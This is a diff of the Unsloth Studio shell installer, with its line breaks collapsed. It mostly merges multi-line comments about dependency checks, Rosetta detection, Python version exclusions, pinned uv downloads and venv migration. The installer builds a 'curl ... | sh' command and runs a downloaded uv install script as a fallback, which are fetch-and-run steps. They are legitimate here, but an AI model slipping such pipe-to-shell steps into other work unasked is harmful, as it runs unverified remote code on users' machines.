"$_css_macos_dir/launch-studio"chmod +x "$_css_macos_dir/launch-studio"+ # Prefer the pre-built Tauri icon.icns; fall back to generating one from the gem PNG via sips+iconutil, then to a plain PNG copy.# ── AppIcon ──- # Prefer the pre-built Tauri icon.icns (1024×1024, professionally built- # with all sizes). Fall back to generating one from the gem PNG via- # sips+iconutil, then to a plain PNG copy.if [ -f "$_css_tauri_icns" ] \&& cp "$_css_tauri_icns" "$_css_res_dir/AppIcon.icns" 2>/dev/null; then:@@ -2018,8 +1856,7 @@ STUB_EOF# Touch so Finder indexes ittouch "$_css_app"- # Symlink on Desktop. -n is required: without it a re-run follows the existing- # link into the bundle and creates the new one inside it, as the CLI shim guards.+ # Symlink on Desktop. -n is required: without it a re-run follows the existing link into the bundle and creates the new one inside it, as the CLI shim guards.if [ -d "$HOME/Desktop" ]; thenln -sfn "$_css_app" "$HOME/Desktop/Unsloth Studio" 2>/dev/null || truefi@@ -2193,10 +2030,7 @@ fi# ── Architecture detection & Python version ──_ARCH=$(uname -m)MAC_INTEL=false-# Rosetta is a property of the shell, not of the machine, so it is tracked apart from-# MAC_INTEL: torch and the Python version rightly follow the x86_64 shell, but anything-# that reasons about the HARDWARE (the /usr/bin CLT shims in _has_working_git) must see-# an Apple Silicon Mac here, not an Intel one.+# Rosetta is a property of the shell, not of the machine, so it is tracked apart from MAC_INTEL: torch and the Python version rightly follow the x86_64 shell, but anything that reasons about the HARDWARE (the /usr/bin CLT shims in _has_working_git) must see an Apple Silicon Mac here._MAC_ROSETTA=falseif [ "$OS" = "macos" ] && [ "$_ARCH" = "x86_64" ]; then# Apple Silicon under Rosetta reports x86_64; hw.optional.arm64 stays "1".@@ -2368,8 +2202,7 @@ _maybe_reroute_strixhalo_to_2404() {echo ""substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN"substep "Found an existing $_rr_target distro -- continuing the GPU install there." "$C_OK"- # A --local checkout can't be replayed by a piped web install (the repo isn't in the target- # distro), so tell the user to re-run there rather than silently run a different install.+ # A --local checkout cannot be replayed by a piped web install (the repo is not in the target distro), so tell the user to re-run there rather than silently run a different install.if [ "$STUDIO_LOCAL_INSTALL" = true ]; thensubstep "This is a --local install; re-run it from $_rr_target instead:" "$C_WARN"substep " wsl -d $_rr_target -- bash -lc 'cd <your checkout> && ./install.sh --local'" "$C_WARN"@@ -2407,8 +2240,7 @@ _maybe_reroute_strixhalo_to_2404() {else_rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh"fi- # pipefail so a failed download in a piped web install isn't masked by sh exiting 0 on empty- # input (which would wrongly report success and exit 0 the parent installer).+ # pipefail so a failed download in a piped web install is not masked by sh exiting 0 on empty input, which would wrongly report success and exit 0 the parent installer._rr_rc=0wsl.exe -d "$_rr_target" -- bash -lc "$_rr_exports; $_rr_cmd" || _rr_rc=$?if [ "$_rr_rc" -eq 0 ]; then@@ -2430,27 +2262,10 @@ _maybe_reroute_strixhalo_to_2404 || true# ── Check system dependencies ──tauri_log "STEP" "Checking system dependencies"-# Without the Xcode CLT, macOS still ships /usr/bin/git as a stub that errors and pops-# a GUI dialog, so `command -v git` is not enough -- only running it tells the truth.+# Without the Xcode CLT, macOS still ships /usr/bin/git as a stub that errors and pops a GUI dialog, so `command -v git` is not enough: only running it tells the truth._has_working_git() {command -v git >/dev/null 2>&1 || return 1- # Executing the probe is the problem on macOS: /usr/bin/git is a Command Line Tools- # shim, so `git --version` against it raises the "install the command line developer- # tools" GUI dialog -- the probe firing the dialog it exists to detect. Answer from the- # resolved path instead when it is that exact shim and no toolchain is selected.- #- # Narrow on purpose. Only /usr/bin/git is a shim: a Homebrew, MacPorts or Xcode.app git- # earlier on PATH is a real binary and is still probed by executing it. Intel macOS can- # also ship a working /usr/bin/git after CLT masking, so MAC_INTEL must probe that path;- # only Apple Silicon treats it as the known dialog shim without execution. xcode-select- # -p only asks which toolchain is selected and never prompts.- # The hardware decides, not the shell: MAC_INTEL is also true for an x86_64 shell under- # Rosetta, where /usr/bin/git is still the arm64 machine's dialog shim, so _MAC_ROSETTA- # puts that host back on the non-executing branch.- # $OS is the platform detected above, not a fresh `uname` call: this can run with a- # scrubbed PATH where uname is not resolvable, and a failed probe there would silently- # fall through to executing the shim. _CLT_GIT_SHIM is the shim path, overridable so- # the branch is testable without a /usr/bin write.+ # Executing the probe is the problem on macOS: /usr/bin/git is a Command Line Tools shim, so `git --version` against it raises the "install the command line developer tools" GUI dialog, the probe firing the dialog it exists to detect. Answer from the resolved path instead when it is that exact shim and no toolchain is selected. Narrow on purpose: only /usr/bin/git is a shim, and a Homebrew, MacPorts or Xcode.app git earlier on PATH is a real binary and is still probed by executing it. Intel macOS can also ship a working /usr/bin/git after CLT masking, so MAC_INTEL must probe that path; only Apple Silicon treats it as the known dialog shim without execution, and _MAC_ROSETTA puts an x86_64 shell on an arm64 machine back on the non-executing branch. $OS is the platform detected above, not a fresh `uname`: this can run with a scrubbed PATH where uname is not resolvable, and a failed probe there would fall through to executing the shim. _CLT_GIT_SHIM is overridable so the branch is testable without a /usr/bin write.if [ "${OS:-}" = "macos" ] &&{ [ "${MAC_INTEL:-false}" != true ] || [ "${_MAC_ROSETTA:-false}" = true ]; } &&[ "$(command -v git)" = "${_CLT_GIT_SHIM:-/usr/bin/git}" ] &&@@ -2460,12 +2275,7 @@ _has_working_git() {git --version >/dev/null 2>&1}-# macOS system-dependency check. A function so tests/sh can sed-extract it; the old-# inline form was untestable, which is why this gate shipped broken.-#-# The consumer install needs no developer toolchain: uv is a prebuilt binary, CPython-# is uv-managed, llama.cpp/whisper.cpp/Node are prebuilt downloads, and triton is-# skipped on macOS. Only `--local` needs git, for the unsloth-zoo git+https URL.+# macOS system-dependency check. A function so tests/sh can sed-extract it; the old inline form was untestable, which is why this gate shipped broken. The consumer install needs no developer toolchain: uv is a prebuilt binary, CPython is uv-managed, llama.cpp/whisper.cpp/Node are prebuilt downloads, and triton is skipped on macOS. Only `--local` needs git, for the unsloth-zoo git+https URL._check_macos_deps() {_clt_missing=falsexcode-select -p >/dev/null 2>&1 || _clt_missing=true@@ -2483,8 +2293,7 @@ _check_macos_deps() {fiif [ "$_clt_missing" = true ]; then- # Not fatal, and no GUI dialog: firing xcode-select --install and exiting is- # what stranded clean Macs.+ # Not fatal, and no GUI dialog: firing xcode-select --install and exiting is what stranded clean Macs.step "deps" "no Xcode Command Line Tools (not required)" "$C_WARN"substep "Unsloth installs prebuilt binaries and wheels, so no compiler is needed."substep "Install them only for a llama.cpp source build: xcode-select --install"@@ -2498,29 +2307,20 @@ _check_macos_deps() {return 0}-# Linux/WSL system-dependency check. Same split as macOS, and a function for the same-# reason: tests/sh can extract it.-#-# Only a download transport is required. cmake, gcc and the libcurl headers exist-# solely for a llama.cpp source build the consumer path never does -- unslothai/-# llama.cpp publishes linux-x64/arm64 prebuilts for cpu, cuda12, cuda13, rocm and-# vulkan. Requiring them turned every non-apt distro into a hard exit 1 over unused-# tooling. git follows macOS: --local only.+# Linux/WSL system-dependency check, split like macOS and a function for the same reason. Only a download transport is required: cmake, gcc and the libcurl headers exist solely for a llama.cpp source build the consumer path never does, since unslothai/llama.cpp publishes linux-x64/arm64 prebuilts for cpu, cuda12, cuda13, rocm and vulkan. Requiring them turned every non-apt distro into a hard exit 1 over unused tooling. git follows macOS: --local only._check_linux_deps() {_transport_missing=falseif ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then_transport_missing=truefi- # Wanted, never required: git fetches the triton_kernels git+https requirement (a- # training speedup), the rest serve the optional source build. Warn, never stop.+ # Wanted, never required: git fetches the triton_kernels git+https requirement (a training speedup), the rest serve the optional source build. Warn, never stop._optional_missing=""command -v cmake >/dev/null 2>&1 || _optional_missing="$_optional_missing cmake"_has_working_git || _optional_missing="$_optional_missing git"command -v gcc >/dev/null 2>&1 || _optional_missing="$_optional_missing build-essential"command -v curl-config >/dev/null 2>&1 || _optional_missing="$_optional_missing libcurl4-openssl-dev"- # Parameter expansion, not `sed`: sed may be absent on a minimal image, and a- # failed `$(... | sed ...)` yields "" -- "all found" on a machine that has none.+ # Parameter expansion, not `sed`: sed may be absent on a minimal image, and a failed `$(... | sed ...)` yields "", which reads as "all found" on a machine that has none._optional_missing="${_optional_missing# }"if [ "$STUDIO_LOCAL_INSTALL" = true ] && ! _has_working_git; then@@ -2532,8 +2332,7 @@ _check_linux_deps() {return 1fi- # The one fatal case: nothing can be downloaded. apt is the only distro family we- # can drive unattended.+ # The one fatal case: nothing can be downloaded. apt is the only distro family we can drive unattended.if [ "$_transport_missing" = true ]; thenif command -v apt-get >/dev/null 2>&1; thenecho ""@@ -2553,13 +2352,10 @@ _check_linux_deps() {fifi- # Try apt for the optional set too; failing only costs the features warned about- # below.+ # Try apt for the optional set too; failing only costs the features warned about below.if [ -n "$_optional_missing" ] && command -v apt-get >/dev/null 2>&1; thenstep "deps" "installing optional build tools: $_optional_missing" "$C_DIM"- # Subshell because _smart_apt_install exits rather than returns, so `|| true`- # alone would not catch it. _SMART_APT_OPTIONAL suppresses every escalation- # path, so no install hinges on a prompt for tools nothing here needs.+ # Subshell because _smart_apt_install exits rather than returns, so `|| true` alone would not catch it. _SMART_APT_OPTIONAL suppresses every escalation path, so no install hinges on a prompt for tools nothing here needs.( _SMART_APT_OPTIONAL=true; _smart_apt_install $_optional_missing ) || true_optional_missing=""command -v cmake >/dev/null 2>&1 || _optional_missing="$_optional_missing cmake"@@ -2592,14 +2388,9 @@ esac# ── Install uv ──tauri_log "STEP" "Installing uv package manager"-# 0.9.3 is the first uv whose managed-Python manifest carries CPython 3.13.9.-# Anything older tops out at 3.13.8, which cannot import torch (see PYTHON_SKIP),-# so a bare "3.13" request on an older uv resolves straight to the broken patch.+# 0.9.3 is the first uv whose managed-Python manifest carries CPython 3.13.9. Anything older tops out at 3.13.8, which cannot import torch (see PYTHON_SKIP), so a bare "3.13" request on an older uv resolves straight to the broken patch.UV_MIN_VERSION="0.9.3"-# The floor before this raised it. An offline host may keep a uv between the two,-# since those installs worked without touching the network; below it the-# installer rejected the uv outright and still has to, or it proceeds on a uv-# missing flags it is about to be handed (--default-index, --torch-backend).+# The floor before this raised it. An offline host may keep a uv between the two, since those installs worked without touching the network; below it the installer rejected the uv outright and still has to, or it proceeds on a uv missing flags it is about to be handed (--default-index, --torch-backend).UV_OFFLINE_MIN_VERSION="0.8.16"# Large bytecode-compiled installs can exceed uv's 60s default; use 180s ("0" disables).@@ -2645,18 +2436,10 @@ version_ge() {return 0}-# Patch releases the stack cannot run, space separated.-# 3.13.8: python/cpython#139783 makes inspect.getsourcelines() drop a function-# body when a decorator is followed by a comment, which is the shape torch-# 2.11's nn/modules/rnn.py has, and _overload_method reads its own source at-# import time -- so `import torch` dies with IndentationError. 3.13.9 was an-# expedited release carrying only that fix.+# Patch releases the stack cannot run, space separated. 3.13.8: python/cpython#139783 makes inspect.getsourcelines() drop a function body when a decorator is followed by a comment, which is the shape torch 2.11's nn/modules/rnn.py has, and _overload_method reads its own source at import time, so `import torch` dies with IndentationError. 3.13.9 was an expedited release carrying only that fix.PYTHON_SKIP="3.13.8"-# Every entry above is skipped for one reason: it cannot `import torch`. A-# --no-torch install never imports it, so refusing the interpreter there would-# fail a GGUF-only setup on a locked-down host over a package it will not-# install. SKIP_TORCH is set well before any of this runs.+# Every entry above is skipped for one reason: it cannot `import torch`. A --no-torch install never imports it, so refusing the interpreter there would fail a GGUF-only setup on a locked-down host over a package it will not install. SKIP_TORCH is set well before any of this runs._python_skip_applies() {[ "$SKIP_TORCH" != true ]}@@ -2669,30 +2452,17 @@ _python_is_skipped() { # full x.y.z versionreturn 1}-# uv picks the patch itself for a bare "3.13", so name a range it cannot satisfy-# with a skipped release rather than checking afterwards. uv accepts a PEP 440-# specifier as a python request, and the exclusions come straight from-# PYTHON_SKIP so there is one list to maintain.-#-# The exclusion is spelled "!=3.13.8" rather than ">=3.13.9" on purpose: a host-# that is offline, or whose uv is too old to know 3.13.9, may still have a-# perfectly good cached 3.13.7, and a floor would refuse it and fail the install-# outright. Measured against uv 0.10.7 with only 3.13.7 and 3.13.8 installed and-# --offline: "3.13" gives 3.13.8, ">=3.13.9,<3.14" errors, ">=3.13,<3.14,!=3.13.8"-# gives 3.13.7.+# uv picks the patch itself for a bare "3.13", so name a range it cannot satisfy with a skipped release rather than checking afterwards. uv accepts a PEP 440 specifier as a python request, and the exclusions come straight from PYTHON_SKIP so there is one list to maintain. Spelled "!=3.13.8" rather than ">=3.13.9" on purpose: a host that is offline, or whose uv is too old to know 3.13.9, may still have a perfectly good cached 3.13.7, and a floor would refuse it and fail the install outright. Measured on uv 0.10.7 with only 3.13.7 and 3.13.8 installed and --offline: "3.13" gives 3.13.8, ">=3.13.9,<3.14" errors, ">=3.13,<3.14,!=3.13.8" gives 3.13.7._python_request() { # requested version -> what uv is asked for_python_skip_applies || { echo "$1"; return 0; }case "$1" in- # An explicit patch is the caller's own choice, and a path or a uv- # download name is not a version at all. Pass those through untouched.+ # An explicit patch is the caller's own choice, and a path or a uv download name is not a version at all. Pass those through untouched.[0-9]*.[0-9]*.*|*/*|*\\*) echo "$1"; return 0 ;;[0-9]*.[0-9]*) ;;*) echo "$1"; return 0 ;;esac_req_minor=${1#*.}- # Only a plain X.Y gets a range. "3.13rc1", or a relative path like- # "3.13/bin/python" that slipped past the globs above, would otherwise reach- # the arithmetic below, and dash aborts the whole install on "Illegal number".+ # Only a plain X.Y gets a range. "3.13rc1", or a relative path like "3.13/bin/python" that slipped past the globs above, would otherwise reach the arithmetic below, and dash aborts the whole install on "Illegal number".case "$_req_minor" in''|*[!0-9]*) echo "$1"; return 0 ;;esac@@ -2720,20 +2490,10 @@ _uv_version_ok() { # uv command, floor (defaults to UV_MIN_VERSION)}# ── uv from a pinned release ──-# Same archive, destination and PATH treatment as astral's installer, but it fetches a-# data file with a pinned SHA-256 instead of a script it runs and deletes. Mirrors-# Install-UvFromRelease in install.ps1. Bumping the version means bumping every hash:-# curl -sL https://github.com/astral-sh/uv/releases/download/<ver>/<asset>.sha256-#-# Only the four mainstream targets are pinned. musl, armv7 and the rest fall through to-# the caller's existing path rather than risk a wrong triple.+# Same archive, destination and PATH treatment as astral's installer, but it fetches a data file with a pinned SHA-256 instead of a script it runs and deletes. Mirrors Install-UvFromRelease in install.ps1. Bumping the version means bumping every hash, from https://github.com/astral-sh/uv/releases/download/<ver>/<asset>.sha256. Only the four mainstream targets are pinned; musl, armv7 and the rest fall through to the caller's existing path rather than risk a wrong triple.UV_PINNED_VERSION="0.12.1"-# Echoes the glibc minor version (the N in 2.N), or nothing when this is not a glibc host or-# the version cannot be read. "not musl" is not the same as "a glibc new enough to run the GNU-# build": astral's installer checks a minimum and drops to its musl-static archive below it, so-# a host we cannot positively confirm has to reach the fallback rather than take a binary that-# will not exec.+# Echoes the glibc minor version (the N in 2.N), or nothing when this is not a glibc host or the version cannot be read. "not musl" is not the same as "a glibc new enough to run the GNU build": astral's installer checks a minimum and drops to its musl-static archive below it, so a host we cannot positively confirm has to reach the fallback rather than take a binary that will not exec._uv_glibc_minor() {_ugm_line=$( (ldd --version 2>/dev/null || true) | head -1 )case "$_ugm_line" in *[Mm]usl*) return 1 ;; esac@@ -2757,8 +2517,7 @@ _uv_pinned_asset() {_upa_arch=$(uname -m 2>/dev/null || echo unknown)case "$_upa_os" inLinux)- # A 64-bit kernel under a 32-bit userland reports x86_64 from uname but cannot load- # a 64-bit binary, so ask the userland, not the kernel.+ # A 64-bit kernel under a 32-bit userland reports x86_64 from uname but cannot load a 64-bit binary, so ask the userland, not the kernel.[ "$(getconf LONG_BIT 2>/dev/null || echo 0)" = "64" ] || return 1# Rejects musl, an unreadable libc, and a glibc below astral's floor for the triple._upa_glibc=$(_uv_glibc_minor) || return 1@@ -2773,9 +2532,7 @@ _uv_pinned_asset() {esac;;Darwin)- # Under Rosetta 2 a translated shell reports x86_64 on an Apple Silicon Mac. astral- # reads the same sysctl and ships the native build; matching it keeps the uv the user- # ends up with identical to the one they had before.+ # Under Rosetta 2 a translated shell reports x86_64 on an Apple Silicon Mac. astral reads the same sysctl and ships the native build; matching it keeps the uv the user ends up with identical to the one they had before.if [ "$_upa_arch" = "x86_64" ] && [ "$(sysctl -n hw.optional.arm64 2>/dev/null)" = "1" ]; then_upa_arch=arm64fi@@ -2801,9 +2558,7 @@ _uv_sha256() {fi}-# Can a freshly downloaded binary run at all? Both ways it could hang are closed off: no stdin,-# so a build that prompts reads EOF, and a ceiling where `timeout` exists (stock macOS has none).-# A healthy uv answers in milliseconds, so only a binary we would refuse reaches the ceiling.+# Can a freshly downloaded binary run at all? Both ways it could hang are closed off: no stdin, so a build that prompts reads EOF, and a ceiling where `timeout` exists (stock macOS has none). A healthy uv answers in milliseconds, so only a binary we would refuse reaches the ceiling._uv_probe_exec() {if command -v timeout >/dev/null 2>&1; thentimeout 20 "$1" --version >/dev/null 2>&1 </dev/null@@ -2821,8 +2576,7 @@ _uv_install_pinned() {command -v tar >/dev/null 2>&1 || return 1if [ -z "$(_uv_sha256 /dev/null)" ]; then return 1; fi- # astral's destination priority, so an existing uv is replaced in place and the- # PATH lines below still find it.+ # astral's destination priority, so an existing uv is replaced in place and the PATH lines below still find it._uip_dest=""for _uip_candidate in "${UV_INSTALL_DIR:-}" "${UV_UNMANAGED_INSTALL:-}" "${XDG_BIN_HOME:-}"; doif [ -n "$_uip_candidate" ]; then _uip_dest="$_uip_candidate"; break; fi@@ -2833,15 +2587,11 @@ _uv_install_pinned() {_uip_dest="$HOME/.local/bin"fi- # 2>/dev/null: this is a speculative attempt whose failure falls back to astral's- # installer, so an unusable $TMPDIR must not print a line the user cannot act on.+ # 2>/dev/null: this is a speculative attempt whose failure falls back to astral's installer, so an unusable $TMPDIR must not print a line the user cannot act on._uip_work=$(mktemp -d 2>/dev/null) || return 1_UIP_WORK="$_uip_work"_uip_rc=1- # astral's mirrors and precedence; each serves the identical asset, so one pin holds. A- # configured mirror is EXCLUSIVE, as it is for astral: a restricted network sets one because- # the public hosts are unreachable, and download() has no timeout, so trying them first- # would hang rather than fall through.+ # astral's mirrors and precedence; each serves the identical asset, so one pin holds. A configured mirror is EXCLUSIVE, as it is for astral: a restricted network sets one because the public hosts are unreachable, and download() has no timeout, so trying them first would hang rather than fall through.if [ -n "${UV_DOWNLOAD_URL:-}" ]; then_uip_bases="${UV_DOWNLOAD_URL%/}"elif [ -n "${INSTALLER_DOWNLOAD_URL:-}" ]; then@@ -2855,14 +2605,11 @@ _uv_install_pinned() {https://github.com/astral-sh/uv/releases/download/$UV_PINNED_VERSION"fifor _uip_base in $_uip_bases; do- # 2>/dev/null: curl -sS prints its own errors and these attempts are speculative, so an- # unreachable mirror stays off the console when the install still succeeds.+ # 2>/dev/null: curl -sS prints its own errors and these attempts are speculative, so an unreachable mirror stays off the console when the install still succeeds.if ! download "$_uip_base/$_uip_asset" "$_uip_work/$_uip_asset" 2>/dev/null; then continue; fi_uip_got=$(_uv_sha256 "$_uip_work/$_uip_asset")if [ "$_uip_got" != "$_uip_want" ]; then- # Not tauri_log: [TAURI:WARN] is a marker install.sh has never emitted, and the app- # forwards unknown markers to its progress UI verbatim. Verbose only, since the next- # mirror or the fallback still runs.+ # Not tauri_log: [TAURI:WARN] is a marker install.sh has never emitted, and the app forwards unknown markers to its progress UI verbatim. Verbose only, since the next mirror or the fallback still runs.if _is_verbose; thenecho "uv archive digest mismatch from $_uip_base, trying the next source" >&2fi@@ -2872,31 +2619,20 @@ https://github.com/astral-sh/uv/releases/download/$UV_PINNED_VERSION"if ! tar -xzf "$_uip_work/$_uip_asset" -C "$_uip_work" 2>/dev/null; then continue; fimkdir -p "$_uip_dest" 2>/dev/null || break_uip_placed=0- # uv first, and either half failing aborts the placement: the two ship as a set, and a- # pinned uvx beside the host's older uv is a pairing we never built or tested.- # Stage both, then publish both: the renames sit next to each other so the pair is- # replaced as one, and a failure anywhere before them leaves the destination untouched.+ # uv first, and either half failing aborts the placement: the two ship as a set, and a pinned uvx beside the host's older uv is a pairing we never built or tested. Stage both, then publish both: the renames sit next to each other so the pair is replaced as one, and a failure anywhere before them leaves the destination untouched._uip_ready=1for _uip_exe in uv uvx; do- # `mv f d` moves f INTO d and reports success, and a searchable directory passes -x- # too, so a directory called uv at the destination would look like a published- # binary and skip the fallback. The installer already refuses one for its own shim.+ # `mv f d` moves f INTO d and reports success, and a searchable directory passes -x too, so a directory called uv at the destination would look like a published binary and skip the fallback.if [ -d "$_uip_dest/$_uip_exe" ]; then _uip_ready=0; break; fi_uip_src=$(find "$_uip_work" -type f -name "$_uip_exe" 2>/dev/null | head -1)if [ -z "$_uip_src" ] || [ ! -f "$_uip_src" ]; then _uip_ready=0; break; fi- # cp onto a symlinked destination writes through it and would rewrite, say, the- # Homebrew binary `~/.local/bin/uv` points at; rename replaces the link. mktemp, not- # a fixed name, so two installers racing here cannot publish each other's file.+ # cp onto a symlinked destination writes through it and would rewrite, say, the Homebrew binary `~/.local/bin/uv` points at; rename replaces the link. mktemp, not a fixed name, so two installers racing here cannot publish each other's file._uip_stage=$(mktemp "$_uip_dest/.$_uip_exe.XXXXXX" 2>/dev/null) || { _uip_ready=0; break; }if [ "$_uip_exe" = "uv" ]; then _UIP_STAGE="$_uip_stage"; else _UIP_STAGE2="$_uip_stage"; fiif ! cp -f "$_uip_src" "$_uip_stage" 2>/dev/null; then _uip_ready=0; break; fi- # 0755, not +x: the staging file carries the umask default and +x only adds execute- # where read was allowed, so umask 077 would leave uv unusable for every other- # account. astral ships these 0755.+ # 0755, not +x: the staging file carries the umask default and +x only adds execute where read was allowed, so umask 077 would leave uv unusable for every other account. astral ships these 0755.chmod 0755 "$_uip_stage" 2>/dev/null || true- # Validate BEFORE publishing: the rename destroys the incumbent, and a missing loader- # or a noexec mount would leave the host with neither. The staging file is on the- # destination filesystem, so this answers noexec too.+ # Validate BEFORE publishing: the rename destroys the incumbent, and a missing loader or a noexec mount would leave the host with neither. The staging file is on the destination filesystem, so this answers noexec too.if [ "$_uip_exe" = "uv" ] && ! _uv_probe_exec "$_uip_stage"; then _uip_ready=0; break; fidoneif [ "$_uip_ready" = "1" ] &&@@ -2910,8 +2646,7 @@ https://github.com/astral-sh/uv/releases/download/$UV_PINNED_VERSION"# The staged binary already answered --version above, before it replaced anything.if [ "$_uip_placed" = "1" ] && [ -x "$_uip_dest/uv" ]; thenexport PATH="$_uip_dest:$PATH"- # Where uv landed, for the profile write below: UV_INSTALL_DIR and friends can put- # it outside ~/.local/bin, and that directory has to reach a new shell too.+ # Where uv landed, for the profile write below: UV_INSTALL_DIR and friends can put it outside ~/.local/bin, and that directory has to reach a new shell too._UNSLOTH_UV_BIN_DIR="$_uip_dest"_uip_rc=0fi@@ -2921,21 +2656,15 @@ https://github.com/astral-sh/uv/releases/download/$UV_PINNED_VERSION"_UIP_WORK=""_UIP_STAGE=""_UIP_STAGE2=""- # Nothing is unwound on the failure path on purpose: the fallback installs over whatever is- # at the destination, and deleting there would take out a working uv the host already had.+ # Nothing is unwound on the failure path on purpose: the fallback installs over whatever is at the destination, and deleting there would take out a working uv the host already had.return "$_uip_rc"}if ! command -v uv >/dev/null 2>&1 || ! _uv_version_ok uv; then- # Raising the floor pulled every 0.8.16-0.9.2 host into this block, and those- # installs used to succeed without touching the network, so a download- # failure must not be fatal for them. An unreadable version counts as- # present: that is a minimal image without awk, not an old uv.+ # Raising the floor pulled every 0.8.16-0.9.2 host into this block, and those installs used to succeed without touching the network, so a download failure must not be fatal for them. An unreadable version counts as present: that is a minimal image without awk, not an old uv._uv_present_before=falseif command -v uv >/dev/null 2>&1; then- # `|| _uv_prev_ver=`: on an image with no awk the pipeline exits 127 and- # set -e would kill the install here, which is exactly the host this- # block exists to keep working.+ # `|| _uv_prev_ver=`: on an image with no awk the pipeline exits 127 and set -e would kill the install here, which is exactly the host this block exists to keep working._uv_prev_ver=$(uv --version 2>/dev/null | awk '{print $2}' 2>/dev/null) \|| _uv_prev_ver=""if [ -z "$_uv_prev_ver" ] || _uv_version_ok uv "$UV_OFFLINE_MIN_VERSION"; then@@ -2944,17 +2673,13 @@ if ! command -v uv >/dev/null 2>&1 || ! _uv_version_ok uv; thenfisubstep "installing uv package manager..."_uv_refreshed=true- # download() exits the shell outright when neither curl nor wget is present,- # which an `if` cannot catch, so probe first: a minimal image with uv copied- # in but no downloader must keep the install it had before the floor moved.+ # download() exits the shell outright when neither curl nor wget is present, which an `if` cannot catch, so probe first: a minimal image with uv copied in but no downloader must keep the install it had before the floor moved.if command -v curl >/dev/null 2>&1 || command -v wget >/dev/null 2>&1; then- # Pinned release first: a digest-checked data file scores far lower than- # download-run-delete, which is the literal shape of a dropper.+ # Pinned release first: a digest-checked data file scores far lower than download-run-delete, which is the literal shape of a dropper.if _uv_install_pinned; then:else- # Unpinned hosts keep the path they have always had: a wrong triple- # breaks the install outright, which costs more than the fallback's score.+ # Unpinned hosts keep the path they have always had: a wrong triple breaks the install outright, which costs more than the fallback's score._uv_tmp=$(mktemp)if download "https://astral.sh/uv/install.sh" "$_uv_tmp"; thenrun_maybe_quiet sh "$_uv_tmp" </dev/null || _uv_refreshed=false@@ -2976,9 +2701,7 @@ if ! command -v uv >/dev/null 2>&1 || ! _uv_version_ok uv; then. "$HOME/.local/bin/env"fiexport PATH="$HOME/.local/bin:$PATH"- # ...and put the pinned destination back in front. UV_INSTALL_DIR and friends can put uv- # somewhere other than ~/.local/bin, and both the line above and astral's env file prepend- # ~/.local/bin, so a stale uv there would shadow the 0.12.1 we just verified.+ # And put the pinned destination back in front. UV_INSTALL_DIR and friends can put uv somewhere other than ~/.local/bin, and both the line above and astral's env file prepend ~/.local/bin, so a stale uv there would shadow the 0.12.1 we just verified.if [ -n "${_UNSLOTH_UV_BIN_DIR:-}" ] && [ "$_UNSLOTH_UV_BIN_DIR" != "$HOME/.local/bin" ]; thenexport PATH="$_UNSLOTH_UV_BIN_DIR:$PATH"fi@@ -2994,19 +2717,9 @@ _MIGRATED=false# Empty so an inherited value can never masquerade as a probed torch version._PREV_TORCH_VER=""-# Replace occupied venvs even when bin/python is missing or dangling, as in-# the repair loop reported in #9479.+# Replace occupied venvs even when bin/python is missing or dangling, as in the repair loop reported in #9479.if [ -x "$VENV_DIR/bin/python" ] || _dir_has_entries "$VENV_DIR"; then- # why: matching guard to the .venv branch below -- in env-mode- # $STUDIO_HOME is a user-chosen workspace, so refuse to nuke an- # existing $STUDIO_HOME/unsloth_studio that lacks Unsloth sentinels.- # Accept the in-VENV ownership marker so partial-install retries are- # not blocked. Sentinels must be regular files: -f follows symlinks- # to files (the legitimate ln -s shim shape) but rejects directories- # and broken/dir-targeted symlinks.- # The root marker goes through _claim_sentinel, not -f: the claim refuses to write one- # through a link, so reading one through a link here would undo that decision. The older- # sentinels keep -f, since bin/unsloth is legitimately a symlink into the venv.+ # why: matching guard to the .venv branch below -- in env-mode $STUDIO_HOME is user-chosen, so refuse to nuke an existing unsloth_studio that lacks Unsloth sentinels; accept the in-VENV marker so partial-install retries are not blocked. The root marker goes through _claim_sentinel, not -f: the claim refuses to write one through a link, so reading one through a link here would undo that. The older sentinels keep -f, since bin/unsloth is legitimately a symlink into the venv.if [ "$_STUDIO_HOME_REDIRECT" = "env" ] \&& ! _claim_sentinel "$STUDIO_HOME/.unsloth-studio-owned" \&& [ ! -f "$VENV_DIR/.unsloth-studio-owned" ] \@@ -3016,13 +2729,7 @@ if [ -x "$VENV_DIR/bin/python" ] || _dir_has_entries "$VENV_DIR"; thenecho " Move it aside or choose an empty UNSLOTH_STUDIO_HOME." >&2exit 1fi- # Record the existing venv's torch BEFORE the replacement moves it aside: a re-run- # rebuilds the venv for clean state, but must keep the torch release the user- # already has (see _previous_torch_pin below). Last line only: sitecustomize or- # import-hook noise on stdout must not corrupt the version.- # Disk first, no interpreter: `import torch` can block forever on a wedged Intel driver,- # and this runs before setup.sh's bounded probes. version.py carries the same label; the- # interpreter stays as the fallback for a layout without one.+ # Record the existing venv's torch BEFORE the replacement moves it aside: a re-run rebuilds the venv for clean state, but must keep the torch release the user already has. Last line only, so sitecustomize or import-hook noise on stdout cannot corrupt the version. Disk first, no interpreter: `import torch` can block forever on a wedged Intel driver, and this runs before setup.sh's bounded probes. version.py carries the same label; the interpreter stays as the fallback for a layout without one._PREV_TORCH_VER=""for _prev_tv in "$VENV_DIR"/lib/python*/site-packages/torch/version.py; do[ -f "$_prev_tv" ] || continue@@ -3034,8 +2741,7 @@ if [ -x "$VENV_DIR/bin/python" ] || _dir_has_entries "$VENV_DIR"; then"import torch; print(torch.__version__)" 2>/dev/null | tail -n 1 || true)# New layout already exists — replace only after preserving rollback copy.substep "preserving existing environment for rollback..."- # A bare call still aborts under `set -e`, but shows only mv's own stderr.- # install.ps1 reports this step; say the same here and name the directory.+ # A bare call still aborts under `set -e`, but shows only mv's own stderr. install.ps1 reports this step; say the same here and name the directory.if ! _start_studio_venv_replacement "$VENV_DIR"; thenecho "ERROR: could not move $VENV_DIR aside to reinstall." >&2echo " Check that $STUDIO_HOME is writable, or move $VENV_DIR yourself and re-run." >&2@@ -3063,11 +2769,7 @@ torch.testing.assert_close(torch.unique(E), torch.tensor((20,), device=E.device,fiif [ "$_legacy_ok" = true ]; thenecho "✅ Legacy environment is healthy — migrating..."- # `mv` into an existing directory nests the environment inside it- # ($VENV_DIR/.venv) rather than renaming it, and uv then refuses that- # target as in #9479. This branch already means $VENV_DIR is absent or- # empty, so clear it: rmdir cannot take one that gained an entry since- # the check, and unlinking a symlink never touches its target.+ # `mv` into an existing directory nests the environment inside it ($VENV_DIR/.venv) rather than renaming 